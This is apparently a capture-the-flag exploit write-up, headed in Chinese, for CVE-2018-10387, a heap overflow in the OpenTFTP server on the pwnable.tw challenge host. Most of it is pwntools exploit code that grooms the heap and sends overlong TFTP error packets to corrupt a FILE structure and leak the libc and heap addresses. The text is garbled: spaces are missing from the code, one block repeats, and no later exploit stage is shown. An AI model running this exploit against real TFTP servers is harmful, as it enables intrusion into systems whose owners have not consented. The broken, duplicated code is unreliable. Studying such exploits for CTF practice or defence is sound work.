题目描述:Singled-threaded TFTP Server Open Source Freeware Windows/Unix for PXEBOOT, firmware load, support tsize, blksize, timeout, server port ranges, block number rollover for large files, and remote code execution. CVE 描述:Heap-based overflow vulnerability in TFTP Server SP 1.66 and earlier allows remote attackers to perform a denial of service or possibly execute arbitrary code via a long TFTP error packet, a different vulnerability than CVE-2008-2161.
(pwn) secreu@Vanilla:~/CVE-2018-10387$ checksec --file opentftpd [*] '/home/secreu/CVE-2018-10387/opentftpd' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3ff000) RUNPATH: b'./' Stripped: No (pwn) secreu@Vanilla:~/CVE-2018-10387$ ./libc.so.6 GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27. Copyright (C) 2018 Free Software Foundation, Inc. This is free software; see the sourcefor copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Compiled by GNU CC version 7.3.0. libc ABIs: UNIQUE IFUNC For bug reporting instructions, please see: <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
freed_chunks = [] for i inrange(4): freed_chunks.append(remote(HOST, PORT, typ="udp")) for i inrange(4): freed_chunks[i].send(req_read(b"flag\x00", timeout=0)) freed_chunks[i].recv() freed_chunks[i].send(b"AAAA") freed_chunks[i].recv() freed_chunks[i].close()
# allocate chunk of size 0x230 to get the victim chunk as FILE # target file size should > 0x200 bytes, otherwise, it will be closed instantly io_2.send(req_read(b"opentftpd\x00"))
# change its read ptr to leak libc and heap io_1.send(req_error(b"A" * 493 + p64(0xffffffffffff0231) + p64(0xfffffffffbad2488) + p8(0x10))) for i inrange(7, 1, -1): io_1.send(req_error(b"A" * 493 + p64(0xffffffffffff0231)[:i]))
nums = [] libc_base = 0 heap_base = 0 whileTrue: opcode, block, data = recv_data(io_2) iflen(data) < 512: break for j inrange(0, 512, 8): num = u64(data[j:j+8]) nums.append(num) if (num & 0xfff) == (0x3E82A0 & 0xfff) and data[j+5] == 0x7f: libc_base = num - 0x3E82A0# _IO_file_jumps log.info('libc_base: ' + hex(libc_base)) heap_base = nums[-11] - 0x224B0 log.info('heap_base: ' + hex(heap_base)) break if heap_base != 0: break io_2.send(req_ack(block))
defexploit(): freed_chunks = [] for i inrange(4): freed_chunks.append(remote(HOST, PORT, typ="udp")) for i inrange(4): freed_chunks[i].send(req_read(b"flag\x00", timeout=0)) freed_chunks[i].recv() freed_chunks[i].send(b"AAAA") freed_chunks[i].recv() freed_chunks[i].close()
# change next size = 0x231 and free it io_1.send(req_error(b"A" * 493 + p64(0x231))) io_2.send(req_error(b"AAAA"))
sleep(2)
# allocate chunk of size 0x230 to get the victim chunk as FILE # target file size should > 0x200B, otherwise, it will be closed instantly io_2.send(req_read(b"opentftpd\x00"))
# change its read ptr to leak libc and heap io_1.send(req_error(b"A" * 493 + p64(0xffffffffffff0231) + p64(0xfffffffffbad2488) + p8(0x10))) for i inrange(7, 1, -1): io_1.send(req_error(b"A" * 493 + p64(0xffffffffffff0231)[:i]))
nums = [] libc_base = 0 heap_base = 0 whileTrue: opcode, block, data = recv_data(io_2) iflen(data) < 512: break for j inrange(0, 512, 8): num = u64(data[j:j+8]) nums.append(num) if (num & 0xfff) == (0x3E82A0 & 0xfff) and data[j+5] == 0x7f: libc_base = num - 0x3E82A0# _IO_file_jumps log.info('libc_base: ' + hex(libc_base)) heap_base = nums[-11] - 0x224B0 log.info('heap_base: ' + hex(heap_base)) break if heap_base != 0: break io_2.send(req_ack(block))
if __name__ == "__main__": global HOST global PORT if args.REMOTE: HOST = "chall.pwnable.tw" io_pwn = remote(HOST, 10206) io_pwn.recvuntil('start challenge on udp port: ') PORT = int(io_pwn.recvline().strip()) else: HOST, PORT = "127.0.0.1", 12345